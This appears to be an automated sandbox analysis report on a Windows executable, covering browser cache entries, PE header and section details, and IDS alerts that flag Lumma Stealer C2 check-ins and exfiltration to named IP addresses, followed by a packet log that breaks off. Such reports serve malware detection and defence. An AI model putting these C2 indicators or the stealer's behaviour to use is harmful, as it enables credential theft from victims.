Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 19696, version 1.0
Category:	downloaded
Size (bytes):	19696
Entropy (8bit):	7.9898910353479335
Encrypted:	false
SSDEEP:	384:37wfQhsuDSP36Elj0oScS8w3F1ZTt5JwtRGsh1SJR3YL0BeojRs8E:37Cms69owH3FPutReFYL+eods8E
MD5:	4D0BFEA9EBDA0657CEE433600ED087B6
SHA1:	F13C690B170D5BA6BE45DEDC576776CA79718D98
SHA-256:	67E7D8E61B9984289B6F3F476BBEB6CEB955BEC823243263CF1EE57D7DB7AE9A
SHA-512:	9136ADEC32F1D29A72A486B4604309AA8F9611663FA1E8D49079B67260B2B09CEFDC3852CF5C08CA9F5D8EA718A16DBD8D8120AC3164B0D1519D8EF8A19E4EA5
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/styles/docons.6a251ae.34a85e0c.woff2
Preview:	wOF2......L........`..L..........................T.V..@........6.$........ ..y.......d^..Awp(......<.1..fE.......I......z-.."YTZ.p.eMd.#..7.qY..Z.!..V...!......r...Z.;b........J....X..;.^...>UQ%U..CkT.....zKG.!\8%..>.b.4o4.t..........3..C..?u....E.S$.:.....mfZ......... .Q...].y..@....m.tC.C6. ......37..,V...F.a...A.. .PQ".A...B...p...q..!QA.N..m.......(..........gv..L...5M&._..+@.U..k.....CU..@...._.9q{....B..C.dB.F.a......J_Jo..M..oR....m......r...U0...y!.@-.h7...z....e.....J+...-{.s..1...^...zM[~....Fy.';.V...=.%......"..H..w.9L..$.{d.j&..... K...P`.$.g....;.0..........T.v....j.0Ht..<. ...<\......Ol.\|_U.+rmW..JK..".e<C ...q.?...B..l..Ni.....H....D..n@.......=c.f3.7........t...Z...}{....S;..KU.Ho.`....._?m....y...32l^.(..r..........Z...{U....W(......\|.q..P.`,.YQ....-,c...g*F..=....."M.......sq....-....w(.e.K........^2e.3&.\|,..4.TO..D].........W..W%j.._...nS.X.gE..3;2..:...Y..4j.-....c0A...U...p......d.M..6.L..b....O:[['wN.\|49.......]

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1528x402, components 3
Category:	dropped
Size (bytes):	64291
Entropy (8bit):	7.964191793580486
Encrypted:	false
SSDEEP:	1536:NHnitWEy8ugr5KeKvJx4FqzmYyIf52YHcd/HpQxhSoywkY8+N4U4Bv:NHitHyJTeysFqiYyIfEYHchQWoywkY8v
MD5:	8CCB0248B7F2ABEEAD74C057232DF42A
SHA1:	C02BD92FEA2DF7ED12C8013B161670B39E1EC52F
SHA-256:	0A9FD0C7F32EABBB2834854C655B958EC72A321F3C1CF50035DD87816591CDCC
SHA-512:	6D6E3C858886C9D6186AD13B94DBC2D67918AA477FB7D70A7140223FAB435CF109537C51CA7F4B2A0DB00EEAD806BBE8C6B29B947B0BE7044358D2823F5057CE
Malicious:	false
Preview:	......JFIF..............ICC_PROFILE............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6...C....................................................................C............................................................................"..........................................\......................!1..A.Qaq......".....#23BR......56Urst....$%4ST....&CDbcd......EFV.u...................................[...........................!1.AQR...."2Saq.......Ts.......#356BCDUbr.....%&47c.....$'Et..............?...j.....'Gu..7.=......8. ..nh..F.....y ..=....1L\U.+.Pj.RnI.(...N.{%].b..J..r...W[

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/app-could-not-be-started.png
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/MSDocsHeader-DotNet.json?
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.531790585706756
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	738KZNfnzz.exe
File size:	2'966'528 bytes
MD5:	93db07f78d36ab5dd759d24e435b7875
SHA1:	0ef306286b7fc2b8be05efe57102aa024dc78bca
SHA256:	24ee2990f96aee958ea5da86efdf175f380ae38ff93f0928e3979af4b9a3f516
SHA512:	08aa60ebac33fb681641da8d094814f0d52b48db482d38ed9e957d1c36b9d085309821bd0f9f36dfd0c2ea36296387b83edd490244b6288ef012868ae4132fbd
SSDEEP:	24576:OXH2+HLZ3Sziz0yRv/+644q4/nRsAHE0hCcfd7BBrpRY8JRJZOCoQaH1z/MMTEg8:OXHfZ31z9lM4Fw8TJG5L/nO72
TLSH:	99D56D92BA0971CFD48F13B49417CD42996DC2FB4B214AE3A87EB4B97D63CC115B6C28
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....Yig..............................0...........@..........................@0.......-...@.................................Y@..m..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x701000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x67695986 [Mon Dec 23 12:37:26 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F70253F7C0Ah

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x54059	0x6d	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x541f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x52000	0x26400	2373d7e0717e4531fdc0e410ece01cd7	False	0.9996361825980392	MPEG ADTS, layer I, v2, 176 kbps, 24 kHz, JntStereo	7.984130180186877	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x53000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x54000	0x1000	0x200	39a711a7d804ccbc2a14eea65cf3c27e	False	0.154296875	data	1.0789976601211375	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
vcmhcqda	0x55000	0x2ab000	0x2aa800	3121128f61604367a6e5dd20b8483d1b	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
pcqwqlsl	0x300000	0x1000	0x400	9cf006d20def078a4bd824e118751968	False	0.76953125	data	5.9866090561515755	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x301000	0x3000	0x2200	dbcf56e9521589cd9db6f70069401ebb	False	0.046645220588235295	DOS executable (COM)	0.4557895311933581	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-27T15:05:23.722821+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49707	104.21.11.101	443	TCP
2024-12-27T15:05:24.490597+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49707	104.21.11.101	443	TCP
2024-12-27T15:05:24.490597+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49707	104.21.11.101	443	TCP
2024-12-27T15:05:25.920895+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49708	104.21.11.101	443	TCP
2024-12-27T15:05:26.713289+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	49708	104.21.11.101	443	TCP
2024-12-27T15:05:26.713289+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49708	104.21.11.101	443	TCP
2024-12-27T15:05:28.825805+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49710	104.21.11.101	443	TCP
2024-12-27T15:05:31.535890+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49712	104.21.11.101	443	TCP
2024-12-27T15:05:33.926472+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49718	104.21.11.101	443	TCP
2024-12-27T15:05:36.640621+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49725	104.21.11.101	443	TCP
2024-12-27T15:05:37.410690+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	49725	104.21.11.101	443	TCP
2024-12-27T15:05:39.201728+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49739	104.21.11.101	443	TCP
2024-12-27T15:05:44.843701+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49750	104.21.11.101	443	TCP
2024-12-27T15:05:45.617909+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49750	104.21.11.101	443	TCP
2024-12-27T15:05:47.081400+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.6	49755	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 27, 2024 15:05:13.771184921 CET	443	49705	40.126.53.9	192.168.2.6
Dec 27, 2024 15:05:13.771203995 CET	443	49705	40.126.53.9	192.168.2.6
Dec 27, 2024 15:05:13.771215916 CET	443	49705	40.126.53.9	192.168.2.6
Dec 27, 2024 15:05:13.771234989 CET	443	49705	40.126.53.9	192.168.2.6
Dec 27, 2024 15:05:13.771245956 CET	443	49705	40.126.53.9	192.168.2.6
Dec 27, 2024 15:05:14.262028933 CET	443	49706	20.198.119.84	192.168.2.6
Dec 27, 2024 15:05:14.262079000 CET	443	49706	20.198.119.84	192.168.2.6
Dec 27, 2024 15:05:14.262094021 CET	443	49706	20.198.119.84	192.168.2.6
Dec 27, 2024 15:05:14.262139082 CET	443	49706	20.198.119.84	192.168.2.6
Dec 27, 2024 15:05:14.262301922 CET	49706	443	192.168.2.6	20.198.119.84
Dec 27, 2024 15:05:14.262301922 CET	49706	443	192.168.2.6	20.198.119.84
Dec 27, 2024 15:05:14.264650106 CET	49706	443	192.168.2.6	20.198.119.84
Dec 27, 2024 15:05:14.379127026 CET	443	49705	40.126.53.9	192.168.2.6
Dec 27, 2024 15:05:14.379151106 CET	443	49705	40.126.53.9	192.168.2.6
Dec 27, 2024 15:05:14.379163027 CET	443	49705	40.126.53.9	192.168.2.6
Dec 27, 2024 15:05:14.379185915 CET	443	49705	40.126.53.9	192.168.2.6
Dec 27, 2024 15:05:14.379224062 CET	443	49705	40.126.53.9	192.168.2.6
Dec 27, 2024 15:05:14.379237890 CET	443	49705	40.126.53.9	192.168.2.6
Dec 27, 2024 15:05:14.379465103 CET	49705	443	192.168.2.6	40.126.53.9
Dec 27, 2024 15:05:14.379465103 CET	49705	443	192.168.2.6	40.126.53.9
Dec 27, 2024 15:05:14.384147882 CET	443	49706	20.198.119.84	192.168.2.6
Dec 27, 2024 15:05:14.387656927 CET	443	49705	40.126.53.9	192.168.2.6
Dec 27, 2024 15:05:14.387686968 CET	443	49705	40.126.53.9	192.168.2.6
Dec 27, 2024 15:05:14.387769938 CET	49705	443	192.168.2.6	40.126.53.9
Dec 27, 2024 15:05:14.396279097 CET	443	49705	40.126.53.9	192.168.2.6
Dec 27, 2024 15:05:14.396383047 CET	443	49705	40.126.53.9	192.168.2.6
Dec 27, 2024 15:05:14.396464109 CET	49705	443	192.168.2.6	40.126.53.9
Dec 27, 2024 15:05:14.816144943 CET	443	49706	20.198.119.84	192.168.2.6
Dec 27, 2024 15:05:14.817475080 CET	49706	443	192.168.2.6	20.198.119.84
Dec 27, 2024 15:05:14.817524910 CET	49706	443	192.168.2.6	20.198.119.84
Dec 27, 2024 15:05:14.817625999 CET	49706	443	192.168.2.6	20.198.119.84
Dec 27, 2024 15:05:14.937131882 CET	443	49706	20.198.119.84	192.168.2.6
Dec 27, 2024 15:05:14.937194109 CET	443	49706	20.198.119.84	192.168.2.6
Dec 27, 2024 15:05:14.937203884 CET	443	49706	20.198.119.84	192.168.2.6
Dec 27, 2024 15:05:15.368426085 CET	443	49706	20.198.119.84	192.168.2.6
Dec 27, 2024 15:05:15.415462971 CET	49706	443	192.168.2.6	20.198.119.84
Dec 27, 2024 15:05:15.637310028 CET	443	49706	20.198.119.84	192.168.2.6
Dec 27, 2024 15:05:15.681113005 CET	49706	443	192.168.2.6	20.198.119.84
Dec 27, 2024 15:05:15.774878025 CET	49674	443	192.168.2.6	173.222.162.64
Dec 27, 2024 15:05:15.774878025 CET	49673	443	192.168.2.6	173.222.162.64
Dec 27, 2024 15:05:15.838457108 CET	443	49706	20.198.119.84	192.168.2.6
Dec 27, 2024 15:05:15.839574099 CET	49706	443	192.168.2.6	20.198.119.84
Dec 27, 2024 15:05:15.959361076 CET	443	49706	20.198.119.84	192.168.2.6
Dec 27, 2024 15:05:16.103039980 CET	49672	443	192.168.2.6	173.222.162.64
Dec 27, 2024 15:05:16.390248060 CET	443	49706	20.198.119.84	192.168.2.6
Dec 27, 2024 15:05:16.431116104 CET	49706	443	192.168.2.6	20.198.119.84
Dec 27, 2024 15:05:22.406742096 CET	49707	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:22.406800985 CET	443	49707	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:22.406882048 CET	49707	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:22.411264896 CET	49707	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:22.411278009 CET	443	49707	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:23.722678900 CET	443	49707	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:23.722820997 CET	49707	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:23.726798058 CET	49707	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:23.726819038 CET	443	49707	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:23.727143049 CET	443	49707	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:23.774846077 CET	49707	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:23.802381039 CET	49707	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:23.802412987 CET	49707	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:23.802577019 CET	443	49707	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:24.490608931 CET	443	49707	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:24.490722895 CET	443	49707	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:24.490798950 CET	49707	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:24.647298098 CET	49707	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:24.647344112 CET	443	49707	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:24.707902908 CET	49708	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:24.707967997 CET	443	49708	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:24.708044052 CET	49708	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:24.709192038 CET	49708	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:24.709207058 CET	443	49708	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:24.865441084 CET	49709	443	192.168.2.6	20.198.118.190
Dec 27, 2024 15:05:24.865492105 CET	443	49709	20.198.118.190	192.168.2.6
Dec 27, 2024 15:05:24.865554094 CET	49709	443	192.168.2.6	20.198.118.190
Dec 27, 2024 15:05:24.866209984 CET	49709	443	192.168.2.6	20.198.118.190
Dec 27, 2024 15:05:24.866235971 CET	443	49709	20.198.118.190	192.168.2.6
Dec 27, 2024 15:05:25.384191990 CET	49673	443	192.168.2.6	173.222.162.64
Dec 27, 2024 15:05:25.384392977 CET	49674	443	192.168.2.6	173.222.162.64
Dec 27, 2024 15:05:25.712372065 CET	49672	443	192.168.2.6	173.222.162.64
Dec 27, 2024 15:05:25.920799017 CET	443	49708	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:25.920895100 CET	49708	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:25.922416925 CET	49708	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:25.922432899 CET	443	49708	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:25.922713041 CET	443	49708	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:25.924057007 CET	49708	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:25.924079895 CET	49708	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:25.924134970 CET	443	49708	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:26.713284016 CET	443	49708	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:26.713346958 CET	443	49708	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:26.713377953 CET	443	49708	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:26.713397980 CET	49708	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:26.713407040 CET	443	49708	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:26.713426113 CET	443	49708	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:26.713449001 CET	49708	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:26.721667051 CET	443	49708	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:26.721730947 CET	443	49708	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:26.721755981 CET	49708	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:26.721762896 CET	443	49708	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:26.721818924 CET	49708	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:26.730000019 CET	443	49708	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:26.738360882 CET	443	49708	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:26.738423109 CET	49708	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:26.738430023 CET	443	49708	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:26.790486097 CET	49708	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:26.906677961 CET	443	49708	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:26.910430908 CET	443	49708	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:26.910545111 CET	443	49708	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:26.910545111 CET	49708	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:26.910577059 CET	443	49708	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:26.910623074 CET	49708	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:26.910670042 CET	443	49708	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:26.910830975 CET	443	49708	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:26.910877943 CET	49708	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:26.931224108 CET	49708	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:26.931267023 CET	443	49708	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:26.931292057 CET	49708	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:26.931298971 CET	443	49708	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:27.193795919 CET	443	49709	20.198.118.190	192.168.2.6
Dec 27, 2024 15:05:27.193876982 CET	49709	443	192.168.2.6	20.198.118.190
Dec 27, 2024 15:05:27.224657059 CET	49709	443	192.168.2.6	20.198.118.190
Dec 27, 2024 15:05:27.224678040 CET	443	49709	20.198.118.190	192.168.2.6
Dec 27, 2024 15:05:27.224993944 CET	443	49709	20.198.118.190	192.168.2.6
Dec 27, 2024 15:05:27.263751030 CET	49709	443	192.168.2.6	20.198.118.190
Dec 27, 2024 15:05:27.263825893 CET	49709	443	192.168.2.6	20.198.118.190
Dec 27, 2024 15:05:27.263832092 CET	443	49709	20.198.118.190	192.168.2.6
Dec 27, 2024 15:05:27.263988972 CET	49709	443	192.168.2.6	20.198.118.190
Dec 27, 2024 15:05:27.311332941 CET	443	49709	20.198.118.190	192.168.2.6
Dec 27, 2024 15:05:27.610389948 CET	49710	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:27.610429049 CET	443	49710	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:27.610521078 CET	49710	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:27.610806942 CET	49710	443	192.168.2.6	104.21.11.101
Dec 27, 2024 15:05:27.610821962 CET	443	49710	104.21.11.101	192.168.2.6
Dec 27, 2024 15:05:27.944461107 CET	443	49709	20.198.118.190	192.168.2.6
Dec 27, 2024 15:05:27.944542885 CET	443	49709	20.198.118.190	192.168.2.6
Dec 27, 2024 15:05:27.944600105 CET	49709	443	192.168.2.6	20.198.118.190
Dec 27, 2024 15:05:27.944760084 CET	49709	443	192.168.2.6	20.198.118.190
Dec 27, 2024 15:05:27.944778919 CET	443	49709	20.198.118.190	192.168.2.6
